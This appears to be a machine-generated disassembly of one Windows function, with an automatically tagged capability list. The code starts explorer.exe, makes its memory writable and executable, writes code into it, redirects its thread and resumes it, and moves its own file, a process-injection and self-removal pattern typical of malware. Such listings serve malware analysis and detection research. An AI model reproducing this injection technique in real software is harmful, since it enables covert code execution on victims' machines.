Function at 0x40ffb1
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Move file
Resume thread
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4619b2
mov eax, dword fs:[0]
push eax
mov eax, 0x1064
call fcn.00443170
mov eax, dword [0x4937f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x1005]
mov edi, 0x47c540
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x18], 0x474868
call fcn.00402580
mov dword [ebp - 4], 1
mov esi, 0x104
push esi
lea eax, [ebp - 0x1028]
push eax
lea ecx, [ebp - 0x40]
call fcn.0040f2f0
mov byte [ebp - 4], 2
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.0040f295
push esi
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1028]
call fcn.0040c772
push ebx
push ebx
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x40]
call fcn.0040f4da
mov byte [ebp - 4], 3
push 0xc
sub esp, 0x30
mov ecx, esp
mov dword [ebp - 0x101c], esp
push 1
lea eax, [ebp - 0x40]
push eax
call fcn.00433760
mov byte [ebp - 4], 4
mov byte [ebp - 4], 3
call fcn.00454c3a
add esp, 0x34
test al, al
jne 0x4100c4
cmp byte [ebp + 8], al
je 0x4100bd
push 0xc
sub esp, 0x30
mov ecx, esp
mov dword [ebp - 0x101c], esp
push 1
lea eax, [ebp - 0xa0]
push eax
call fcn.00433760
mov byte [ebp - 4], 5
mov byte [ebp - 4], 3
call fcn.00454c3a
add esp, 0x34
test al, al
jne 0x4100c4
mov bl, 1
jmp 0x4103bf
push ebx
lea eax, [ebp - 0x1005]
push eax
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x48], 0x474868
call fcn.00402580
mov byte [ebp - 4], 9
push esi
lea eax, [ebp - 0x1028]
push eax
lea ecx, [ebp - 0x70]
call fcn.0040f2f0
mov byte [ebp - 4], 0xa
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.0040f295
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1028]
call fcn.0040c772
cmp dword [ebp - 0x5c], 0
je 0x410131
cmp dword [ebp - 0x58], 8
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x44
pop esi
push 0x40
lea eax, [ebp - 0x106c]
push ebx
push eax
mov dword [ebp - 0x1070], esi
call fcn.004412d0
add esp, 0xc
lea eax, [ebp - 0x1005]
push 1
push eax
push str.explorer.exe
lea ecx, [ebp - 0xd0]
call fcn.0040c568
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x70]
call fcn.0040ff43
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xd0]
call fcn.00401580
lea ecx, [ebp - 0x100]
call fcn.0040f295
lea ecx, [ebp - 0x1018]
push ecx
lea ecx, [ebp - 0x1070]
push ecx
push ebx
push ebx
push esi
push ebx
push ebx
push ebx
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4103a4
push 0xc31
lea eax, [ebp - 0x1000]
push ebx
push eax
mov dword [ebp - 0x1004], ebx
call fcn.004412d0
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x28], 8
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x7fc], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x7f4], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x7f0], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x7ec], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x7e8], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x7e0], al
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
mov esi, 0x104
push esi
push eax
lea eax, [ebp - 0x7df]
push eax
mov dword [ebp - 0x7f8], edi
call fcn.0044319b
add esp, 0x18
cmp byte [ebp + 8], 0
je 0x41026e
cmp dword [ebp - 0x88], 8
lea eax, [ebp - 0x9c]
cmovae eax, dword [ebp - 0x9c]
push esi
push eax
lea eax, [ebp - 0x5d7]
push eax
call fcn.0044319b
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x800]
push eax
push dword [ebp - 0x1018]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, 0x41044b
mov ecx, 0x41059c
sub eax, ecx
cmp eax, 0x800
jbe 0x4102da
push ebx
push dword [ebp - 0x1018]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x1018]
call edi
push dword [ebp - 0x1014]
call edi
cmp dword [ebp - 0x28], 8
push 4
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
jmp 0x4103a2
push eax
push ecx
lea eax, [ebp - 0x1000]
push eax
call fcn.004415a0
add esp, 0xc
lea eax, [ebp - 0x3cc]
push eax
push dword [ebp - 0x1014]
mov dword [ebp - 0x3cc], 0x10003
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov esi, dword [ebp - 0x308]
add esi, 0xfffff3cb
and esi, 0xffffffe0
mov dword [ebp - 0x1004], esi
lea eax, [esi - 4]
mov dword [ebp - 0x308], eax
lea eax, [esi + 4]
mov dword [ebp - 0x314], eax
lea eax, [ebp - 0x102c]
push eax
push 0x40
push 0xc35
push esi
push dword [ebp - 0x1018]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
mov ebx, 0xc35
push ebx
lea eax, [ebp - 0x1004]
push eax
push esi
push dword [ebp - 0x1018]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x1018]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x3cc]
push eax
push dword [ebp - 0x1014]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1014]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1014]
call edi
push dword [ebp - 0x1018]
call edi
mov bl, 1
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x100]
call fcn.00401580
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70]
call fcn.00401580
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xa0]
call fcn.00401580
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00401580
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004412b3
leave
ret